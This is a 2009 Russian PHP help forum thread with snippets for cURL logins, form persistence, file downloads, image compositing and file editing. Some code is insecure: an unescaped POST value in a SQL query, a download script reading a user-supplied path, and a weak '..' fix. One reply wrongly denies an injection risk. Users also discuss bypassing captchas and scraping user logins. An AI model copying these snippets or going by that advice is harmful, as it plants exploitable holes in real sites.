urlencode() к параметрам применять надо.
if(stristr($exec, 'Неверный логин или пароль')){
Здесь могут быть подводные камни с кодировкой.
Да я уже мозг сломал,что тут не правильно хз,вроде все норм написал,все работает как нужно на других сайтах,а на этотм - хер.Ухже весь извелся,мне человеку этот скрипт быстрее отдать и все =) просто не добно,он ждет :) а вы все его знаете кстате.. :)
Shadow_p1raT
11.01.2009, 16:36
m0Hze,попробуй сдлеать так:
$post = array('user_email' => $email,'user_password' => $password);
У мну только так пост на курле работает.Хотя хз.Тоже не тестировал :)
UPD:
Хех,неправильно прочитал.
Может лучше заюзать strstr,или вообще preg_match ?
array_push( )
Функция array_push( ) присоединяет (то есть дописывает в конец массива) один или несколько новых элементов. Синтаксис функции array_push( ):
int array_push(array массив, mixed элемент [, ...])
В общем вот тут почитай, очень подробно и с примерами:
http://i-vd.org.ru/books/php/arrays.shtml#f
это совсем не то, есть лучше
array_pad ( array input, integer pad_size, mixed pad_value )
там в зависимости от pad_size вставляет в начало или в конец, но это тоже не то, мне нужно в середину вставить
m0Hze Чем спрашивать - пачиму ни рабоооотаит, для отладки надо всегда выводить возвращаемое значение курла. И увидеть, что там нет ХТМЛ, а указание на редирект. Поэтому заменить:
if(stristr($exec, 'Неверный логин или пароль')){
на
if(stristr($exec, 'isUserLoginError/true/')){
Да я уже мозг сломал,что тут не правильно хз,вроде все норм написал,все работает как нужно на других сайтах,а на этотм - хер.Ухже весь извелся,мне человеку этот скрипт быстрее отдать и все =) просто не добно,он ждет :) а вы все его знаете кстате.. :)
AlexV за денюшку скрипт делаешь ? ))
вежливо напоминаю о своем вопросе. =)
как реализовать-то? может кто-подскажет?
prescott
11.01.2009, 20:59
а как сделать для ?
<tr>
<td class="left"/>Пол:
<td class="right"/><input type="radio" name="con_q4" value="m"/>мужской<input type="radio" name="con_q4" value="f"/>женский
</tr>
Например так:
<input type="radio" name="con_q4" value="m" <?php if ($_SESSION['POL']=='m') echo "checked";?> />мужской
<input type="radio" name="con_q4" value="f" <?php if ($_SESSION['POL']=='f') echo "checked";?> />женский
Для селекта аналогично, только для выбранного option выставляешь selected
Pashkela
11.01.2009, 21:11
подскажите пожалуйста.
задача такая. есть анкета разбитая на части. нужно сделать сохранение введенных данных при переходе назад. имею в виду, надо чтобы выбор пользователя сохранялся, если он нажмет назад. для текстовых полей я это сделал.
а как для полей типа селект, радио и множ. выбор реализовать?
Примерно так:
<?php
$Fname = $_POST["Fname"];
$Lname = $_POST["Lname"];
$gender = $_POST["gender"];
$food = $_POST["food"];
$quote = $_POST["quote"];
$education = $_POST["education"];
$TofD = $_POST["TofD"];
if (!isset($_POST['submit'])) { // if page is not submitted to itself echo the form
?>
<html>
<head>
<title>Personal INFO</title>
</head>
<body>
<form method="post" action="<?php echo $PHP_SELF;?>">
First Name:<input type="text" size="12" maxlength="12" name="Fname"><br />
Last Name:<input type="text" size="12" maxlength="36" name="Lname"><br />
Gender:<br />
Male:<input type="radio" value="Male" name="gender"><br />
Female:<input type="radio" value="Female" name="gender"><br />
Please choose type of residence:<br />
Steak:<input type="checkbox" value="Steak" name="food[]"><br />
Pizza:<input type="checkbox" value="Pizza" name="food[]"><br />
Chicken:<input type="checkbox" value="Chicken" name="food[]"><br />
<textarea rows="5" cols="20" name="quote" wrap="physical">Enter your favorite quote!</textarea><br />
Select a Level of Education:<br />
<select name="education">
<option value="Jr.High">Jr.High</option>
<option value="HighSchool">HighSchool</option>
<option value="College">College</option></select><br />
Select your favorite time of day:<br />
<select name="TofD" size="3">
<option value="Morning">Morning</option>
<option value="Day">Day</option>
<option value="Night">Night</option></select><br />
<input type="submit" value="submit" name="submit">
</form>
<?
} else {
echo "Hello, ".$Fname." ".$Lname.".<br />";
echo "You are ".$gender.", and you like ";
foreach ($food as $f) {
echo $f."<br />";
}
echo "<i>".$quote."</i><br />";
echo "You're favorite time is ".$TofD.", and you passed ".$education."!<br />";
}
?>
ну и плюс по кнопке сабмита просто писать в куки идентификатор пользователя, заполнившего анкету и заносить его в базу
спасибо prescott действительно, все просто
http://s59.radikal.ru/i165/0901/35/ece55897b25f.jpg (http://www.radikal.ru)Реально такую капчу обойти(знаю что да, но...)? Сколько % будет пробивность?
preda1or
11.01.2009, 23:05
http://s59.radikal.ru/i165/0901/35/ece55897b25f.jpg (http://www.radikal.ru)Реально такую капчу обойти(знаю что да, но...)? Сколько % будет пробивность?
http://caca.zoy.org/wiki/PWNtcha
http://caca.zoy.org/wiki/PWNtcha
как раз это читаю =)
Да, я спросил, так , с намек разжевать немного этут тему, а то , что я спросил и атк знаю (... =)
AlexV за денюшку скрипт делаешь ? ))
Бесплатно.
http://s59.radikal.ru/i165/0901/35/ece55897b25f.jpg (http://www.radikal.ru)Реально такую капчу обойти(знаю что да, но...)? Сколько % будет пробивность?
80% что успешно. Есть даже софт.
Ребята, я тут начал пхп изучать, ну в общем-то такой нубский вопрос, у нас есть сайт, ну и постраничная навигация, как собрать к примеру с последних 10 страниц логины всех юзверей, кто постил что-то. Где можно про такую реализацию почитать?
как на php можно зашифровать текст при помощи AES? есть встроенные ф-ции или хотябы исходники?
Pashkela
12.01.2009, 02:52
как на php можно зашифровать текст при помощи AES? есть встроенные ф-ции или хотябы исходники?
http://www.phpaes.com/
Pashkela
12.01.2009, 02:53
Ребята, я тут начал пхп изучать, ну в общем-то такой нубский вопрос, у нас есть сайт, ну и постраничная навигация, как собрать к примеру с последних 10 страниц логины всех юзверей, кто постил что-то. Где можно про такую реализацию почитать?
составляешь регулярку на ники и всё, тут всё по ситуации, зависит от исзодников сайта, надо смотреть
От .:EnoT:. => и плюс ко всему это в соседнюю тему
AkyHa_MaTaTa
12.01.2009, 03:28
как на php можно зашифровать текст при помощи AES? есть встроенные ф-ции или хотябы исходники?
Aes бывает разные, вот AES 128 http://www.phpclasses.org.icontem.com/browse/package/3650.html
Pashkela
12.01.2009, 03:47
http://www.phpclasses.org.icontem.com/browse/package/3650.html
залил сюда, там регица надо (хотя надо там быть по идее зарегеным):
http://slil.ru/26530467
Почему при нажатии по сылке картинка скачивается но не сохраняется??
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
readfile($filename);
}
?>
groundhog
12.01.2009, 04:01
Что значит скачивается но не сохраняется? Если она скачивается, то это уже подразумевает то, что она имеет какое-то представление в локальной файловой системе...
Pashkela
12.01.2009, 04:05
<?
$filename = 'http://pashkela.narod.ru/rectool.jpg';
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
readfile($filename);
?>
Все нормально, выскакивает диалоговое на сохранение файла, можно сохранить или отказаться
AkyHa_MaTaTa
12.01.2009, 04:15
<?
$filename = 'http://pashkela.narod.ru/rectool.jpg';
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
readfile($filename);
?>
Все нормально, выскакивает диалоговое на сохранение файла, можно сохранить или отказаться
Скоре всего у него какие траблы с браузером, в ослике по моему есть такая трабла с Content-Disposition.
Joker-jar
12.01.2009, 04:16
Pashkela, в хидерах имя файла должно быть, а не его урл
Joker-jar
12.01.2009, 04:20
Кусок кода с моего движка:
header("Content-Disposition: attachment; filename=\"" .$filename."\"" );
header("Content-Description: File Transfer");
header("Content-Type: application/download");
header("Content-Length: " . filesize($file));
$fp = fopen($file, "r");
while (!feof($fp))
{
echo fread($fp, 65536);
flush();
}
fclose($fp);
Пробуй
Pashkela
12.01.2009, 04:22
Pashkela, в хидерах имя файла должно быть, а не его урл
а я наверное должен был об этом догадаться по выложенному коду:)
Всем доброй ночи, появился вот так вопрос:
Есть число, к примеру: 1450000
Нужно выводить его в виде: 1'450'000
Как это сделать?
P.s. Есть идея перебирать строку с конца и каждый три символа вставлять нужный знак, в данном случае это ', но как правильно это реализовать не могу сообразить.
Всем кто поможет - Заранее благодарен, с меня + :)
Решил вот так:
$cost '1450000';
$cost = strrev($cost);
for ($i=0;$i<=strlen($cost);$i++) if (($i % 3 == 0) and ($i != 0)){ $scost .= '\''.$cost[$i];} else {$scost .= $cost[$i];};
$cost = strrev($scost);
echo $cost;
preda1or
12.01.2009, 05:33
Всем доброй ночи, появился вот так вопрос:
Есть число, к примеру: 1450000
Нужно выводить его в виде: 1'450'000
Как это сделать?
P.s. Есть идея перебирать строку с конца и каждый три символа вставлять нужный знак, в данном случае это ', но как правильно это реализовать не могу сообразить.
Всем кто поможет - Заранее благодарен, с меня + :)
Решил вот так:
$cost '1450000';
$cost = strrev($cost);
for ($i=0;$i<=strlen($cost);$i++) if (($i % 3 == 0) and ($i != 0)){ $scost .= '\''.$cost[$i];} else {$scost .= $cost[$i];};
$cost = strrev($scost);
echo $cost;
http://ru2.php.net/number-format
preda1or
12.01.2009, 05:37
OnArs
<?php
$number = 1234567111;
echo number_format($number, 0, '.', ',');
?>
X-Powered-By: PHP/5.2.0
Content-type: text/html
1,234,567,111
number_format($number, 0, '.', ',');
$number - число
0 - кол-во знаков после запятой (для округления)
. - разделитель целой и дробной части
, - разделитель "триад" или как там их)
так а кто может обучить Чайника!?
так а кто может обучить Чайника!?
Дядя Cpacha. Иди ищи соседние темы,там есть видео и статьи...а лучше всего,как мне однажды сказали,"иди долб**** на ru.php.net там все есть!"...
AkyHa_MaTaTa
Pashkela
groundhog
Проблема заключается в том что после скачевания файла он не открывается пишит (невозможно посмотреть) В чём трабла???
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
readfile($filename);
}
?>
groundhog
12.01.2009, 19:21
Посмотри содержимое файла в блокноте, наверняка там какой-то не регулярный контент... В смысле, того файла, который тебе отдаёт скрипт... Скрипт хоть в одной папке с файлами лежит?
Посмотри содержимое файла в блокноте, наверняка там какой-то не регулярный контент... В смысле, того файла, который тебе отдаёт скрипт... Скрипт хоть в одной папке с файлами лежит?
Нет не в одной! вот скрипт:
<?php include("db.php");
if (isset($_POST['vibor'])) { $vibor = $_POST['vibor'];}
if (isset($_POST['load'])) { $adres = $_POST['load'];}
$result1 = mysql_query("SELECT * FROM data WHERE id='$vibor'",$db);
if (!$result1)
{
exit(mysql_error());
}
if (mysql_num_rows($result1) > 0)
{
$myrow1 = mysql_fetch_array($result1);
$mas = getimagesize($adres);
$width = 215;
$heigth = $mas[1]+270;
$adres1 = "admin/".$myrow1['url'];
$im = imagecreatetruecolor($width, $heigth);
$im1 = imagecreatefromjpeg($adres);
$im2 = imagecreatefromjpeg('logo.jpg');
$im3 = imagecreatefromjpeg($adres1);
$i=1;
$name = "avat".$i++.$myrow1['name'];
imagecopy($im, $im2, 0, $mas[1], 0, 0, 215, 20);
imagecopy($im, $im1, 0, 0, 0, 0, 215, $mas[1]);
imagecopy($im, $im3, 0, $mas[1]+20, 0, 0, 215, 350);
//размеры аватарки
$width = imagesx($im);
$height = imagesy($im);
//добавляем уголки
$tl = imagecreatefrompng('tl.png'); //top left
$tr = imagecreatefrompng('tr.png'); //top right
$dl = imagecreatefrompng('dl.png'); //down left
$dr = imagecreatefrompng('dr.png'); //down right
//размеры уголков (предпологается, что размер углов одинаковый )
$w = imagesx($tl);
$h = imagesy($tl);
imagecopy($im, $tl, 0, 0, 0, 0, $w, $h);
imagecopy($im, $tr, $width-$w, 0, 0, 0, $w, $h);
imagecopy($im, $dl, 0, $height-$h, 0, 0, $w, $h);
imagecopy($im, $dr, $width-$w, $height-$h, 0, 0, $w, $h);
imagejpeg($im,"avatar/$name");
imagedestroy($im);
}
else
{
exit();
}
printf("<a href='get.php?file=avatar/$name'><img src='avatar/$name' alt=''/></a>");
?>
<?php
if(!empty($_GET['file'])){
$filename = basename($_GET['file']);
@header('Content-Disposition: attachment; filename="'.$filename.'"');
@header('Content-Type: application/x-force-download; name="'.$filename.'"');
readfile($filename);
}
?>
groundhog
12.01.2009, 19:53
Ну смотри - readfile($filename) у тебя написано. Но перед этим ты делаешь $filename = basename($_GET['file']), то есть отсекаешь всё кроме имени файла... Таким образом твой скрипт отдаёт хидеры и пытается читать контент файла из той директории, в которой он находится сам... Попробуй вот так:
<?php
if(!empty($_GET['file'])){
$filename = trim($_GET['file']);
@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');
readfile($filename);
}
?>
Но учти, что в таком случае скрипт является include уязвимым... Тогда уже так делай:
<?php
if(!empty($_GET['file'])){
$filename = trim($_GET['file']);
@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');
readfile(dirname(__FILE__) . '/' . $filename);
}
?>
groundhog Спасибо так работает!
А как избавиться от иклуд??
Pregmatch-ем можно?
groundhog
12.01.2009, 20:26
Вот так замути
<?php
if(!empty($_GET['file']) && file_exists($_GET['file'])){
$filename = trim($_GET['file']);
@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');
$filename = str_replace('..', '', $filename);
readfile(dirname(__FILE__) . '/' . $filename);
}
?>
Вот так замути
<?php
if(!empty($_GET['file']) && file_exists($_GET['file'])){
$filename = trim($_GET['file']);
@header('Content-Disposition: attachment; filename="'.basename($filename).'"');
@header('Content-Type: application/x-force-download; name="'.basename($filename).'"');
$filename = str_replace('..', '', $filename);
readfile(dirname(__FILE__) . '/' . $filename);
}
?>
А гет файл по моему тоже не проверяется это же инъекция по моему?
groundhog
12.01.2009, 20:45
ну если ты это в базу не пишешь, то нету инъекции
groundhog
12.01.2009, 21:06
Гавно вопрос, обращайся если что
у меня 2 вопроса по php
Прочитал кучу инфы но до меня не дошло!
1. Что такое class?
2. Для чего нужны Сёкеты?
у меня 2 вопроса по php
Прочитал кучу инфы но до меня не дошло!
1. Что такое class?
2. Для чего нужны Сёкеты?
класс это понятие из ООП, я думаю тебе еще рано)
сокеты нужны для работы с сетью
CrazyNight
12.01.2009, 21:30
php.su читал? Если читал и не дошло - трижды подумай, нужно ли тебе вообще это программирование.
w.u.n.
CrazyNight
Это типа как в Microsoft Visual C++ 2008 Express Edition??
w.u.n.
CrazyNight
Это типа как в Microsoft Visual C++ 2008 Express Edition??
Visual Studio это просто среда разработки
http://ru.wikipedia.org/wiki/Класс_(программирование)
Visual Studio это просто среда разработки
http://ru.wikipedia.org/wiki/Класс_(программирование)
Ну понятно что среда! Но она же работает по объектно-ориентированному программированию??
geforce O_O
ты наверно перепутал и думаешь что Visual Studio предназначен только для языков с ООП... так вот это не так .... в этой среде ты просто пишеш код программы а компилятор скомлирует программу тоесть превратит твой код в asm .. и никакого отношения к ООП оно не имеет =)
geforce O_O
ты наверно перепутал и думаешь что Visual Studio предназначен только для языков с ООП... так вот это не так .... в этой среде ты просто пишеш код программы а компилятор скомлирует программу тоесть превратит твой код в asm .. и никакого отношения к ООП оно не имеет =)
Можешь мне обьяснить для чего ооп вобще нужно?
-=lebed=-
12.01.2009, 23:06
Как вставить некоторую строку в середину (в текущую позицию указателя) файла без затирания имеющихся там данных (на которые указывает тек. указатель)?
Условия: юзаем только один файл, не используем оперативн. память (массивы)
Ну допустим есть файл строк:
576iuh
jhgkjh
jhgjhjh
jhgjhhj
9878687
<-------- нужно вставить " hg788gjlо"
jhgfjhgjh - затруться
kjhh755
kglh
hgkjhj
Это вообще возможно? если делать fputs($f,$s); то данные затираются на этом месте, а надо бы сдвинуть...
Как вставить некоторую строку в середину (в текущую позицию указателя) файла без затирания имеющихся там данных (на которые указывает тек. указатель)?
Условия: юзаем только один файл, не используем оперативн. память (массивы)
Ну допустим есть файл строк:
576iuh
jhgkjh
jhgjhjh
jhgjhhj
9878687
<-------- нужно вставить " hg788gjlо"
jhgfjhgjh - затруться
kjhh755
kglh
hgkjhj
Это вообще возможно? если делать fputs($f,$s); то данные затираются на этом месте, а надо бы сдвинуть...
стандартными средствами такое не реально
preda1or
12.01.2009, 23:21
-=lebed=-
<?
$tochange="jhgfjhgjh";
$changeto=" hg788gjlо";
$fr=fopen("file.txt", "r");
$fw=fopen("temp.txt","a");
while(!feof($fr)){
$line=fgets($fr,4096);
if($line==$tochange) $line=$changeto;
fwrite($fw,$line."\r\n");
}
copy("temp.txt","file.txt");
unlink("temp.txt");
fclose($fr);
fclose($fw);
?>
СОРРИ не заметил про один файл(((
Условия: юзаем только один файл, не используем оперативн. память (массивы)
Это так обязательно? Можно было бы символ переноса в данной строке заменить на \nТекст\n
Как вставить некоторую строку в середину (в текущую позицию указателя) файла без затирания имеющихся там данных (на которые указывает тек. указатель)?
Условия: юзаем только один файл, не используем оперативн. память (массивы)
Ну допустим есть файл строк:
576iuh
jhgkjh
jhgjhjh
jhgjhhj
9878687
<-------- нужно вставить " hg788gjlо"
jhgfjhgjh - затруться
kjhh755
kglh
hgkjhj
Это вообще возможно? если делать fputs($f,$s); то данные затираются на этом месте, а надо бы сдвинуть...
По моему вот так:
fputs($f,$s."\r\n");
preda1or
12.01.2009, 23:26
-=lebed=-
<?
$tochange="jhgfjhgjh";
$changeto=" hg788gjlо";
$string="";
$fr = fopen("file.txt", "r+");
while(!feof($fr)){
$line=fgets($fr,4096);
$line=str_replace("\r","",$line);
$line=str_replace("\n","",$line);
$line=str_replace("\t","",$line);
if($line==$tochange) $line=$insert."\r\n".$line;
$string.=$line."\r\n";
}
fclose($fr);
$fr = fopen("file.txt", "r+");
fwrite($fr,$string);
fclose($fr);
?>
.:EnoT:.
12.01.2009, 23:35
ну раз использовать только один файл и не использовать массивы, то например вот так:
<?php
$file = '1.txt';
$a = '9878687'; //После чего вставить
$b = 'hg788gjlо'; //Что вставить
$open = file_get_contents($file);
file_put_contents($file, str_replace($a, $a."\r\n".$b, $open));
?>
ну раз использовать только один файл и не использовать массивы, то например вот так:
<?php
$file = '1.txt';
$a = '9878687'; //После чего вставить
$b = 'hg788gjlо'; //Что вставить
$open = file_get_contents($file);
file_put_contents($file, str_replace($a, $a."\r\n".$b, $open));
?>
как бы этот пример как и все выше загружает файл в оперативную память
ну раз использовать только один файл и не использовать массивы, то например вот так:
Или так? ))
<?php
$file = '1.txt';
$a = '9878687'; //После чего вставить
$b = 'hg788gjlо'; //Что вставить
$open = file_get_contents($file);
file_put_contents($file, str_replace($a, $a."\r\n".$b."\r\n", $open));
?>
preda1or
12.01.2009, 23:49
как бы этот пример как и все выше загружает файл в оперативную память
я так понял что нельзя юзать просто массивы, а как ты выполнишь программу без использования оперативной памяти?o.O
.:EnoT:.
12.01.2009, 23:51
как бы этот пример как и все выше загружает файл в оперативную память
Чтение файла это и подразумевает, без этого никак)
Поэтому я лишь привёл более-менее вменяемый и простой пример.
neval, не, там пустая строка образуется, если в конце перенос ставить)
Чтение файла это и подразумевает, без этого никак)
Поэтому я лишь привёл более-менее вменяемый и простой пример.
neval, не, там пустая строка образуется, если в конце перенос ставить)
ну это понятно, просто у лебедя там написано было так. ну в принципе наверно так возможно, но только на ассемблере.
а если файл очень большой можно читать его кусками
-=lebed=-
12.01.2009, 23:56
$open = file_get_contents($file); - не прокатит файл не поместится в памяти...
Я так думаю тут надо вручную двигать хвост...
т.е. вычисляем длину вставляемых данных, затем указатель на конец файла, пишем в конец пустышку такой длины. Далее указатель на последнее слово в файле, читаем его и пишем в него же с нужным смещением и так в цикле, в итоге пишем нужные данные в нужное свободное место... Реально реализовать так? Может есть уже готовые реализации?
P.S. Нужно работать с малым колличеством памяти (допустим 64 Mб с файлами 200-500Мб.)
Ну конечно можно читать/писать не по 1 слову, а блоками данных опред. длины (лиж бы в памяти помещались).
AkyHa_MaTaTa
13.01.2009, 00:00
$open = file_get_contents($file); - не прокатит файл не поместится в памяти...
Я так думаю тут надо вручную двигать хвост...
т.е. вычисляем длину вставляемых данных, затем указатель на конец файла, пишем в конец пустышку такой длины. Далее указатель на последнее слово в файле, читаем его и пишем в него же с нужным смещением и так в цикле, в итоге пишем нужные данные в нужное свободное место... Реально реализовать так? Может есть уже готовые реализации?
P.S. Нужно работать с малым колличеством памяти (допустим 64 Mб с файлами 200-500Мб.)
Тогда придется организовывать циклы, и цитать в память порциями даные из файла в поисках необходимого значения. Аля fgets() - fseek().
-=lebed=-
13.01.2009, 00:14
Тогда придется организовывать циклы, и цитать в память порциями даные из файла в поисках необходимого значения.
Ну да, без циклов тут не обойтись...
Вообщем нужна такая функция:
insert_into_file($f,$s,$sring)
$f - file handle
$s - место вставки (для удобства к примеру номер строки, у нас текстовый файл, набор строк, разделённых \n\r)
$sring - вставляемая строка.
ANTIJABBER
13.01.2009, 00:24
Люди подскажите пожалуйста, как сделать что бы в форме пробел - заменялся знаком?
к примеру вводят - Купить прогу
а скрипт должен вместо пробела поставить символ "#"
Купить#прогу плз =)
Люди подскажите пожалуйста, как сделать что бы в форме пробел - заменялся знаком?
к примеру вводят - Купить прогу
а скрипт должен вместо пробела поставить символ "#"
Купить#прогу плз =)
str_replace(" ","#","Купить прогу");
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot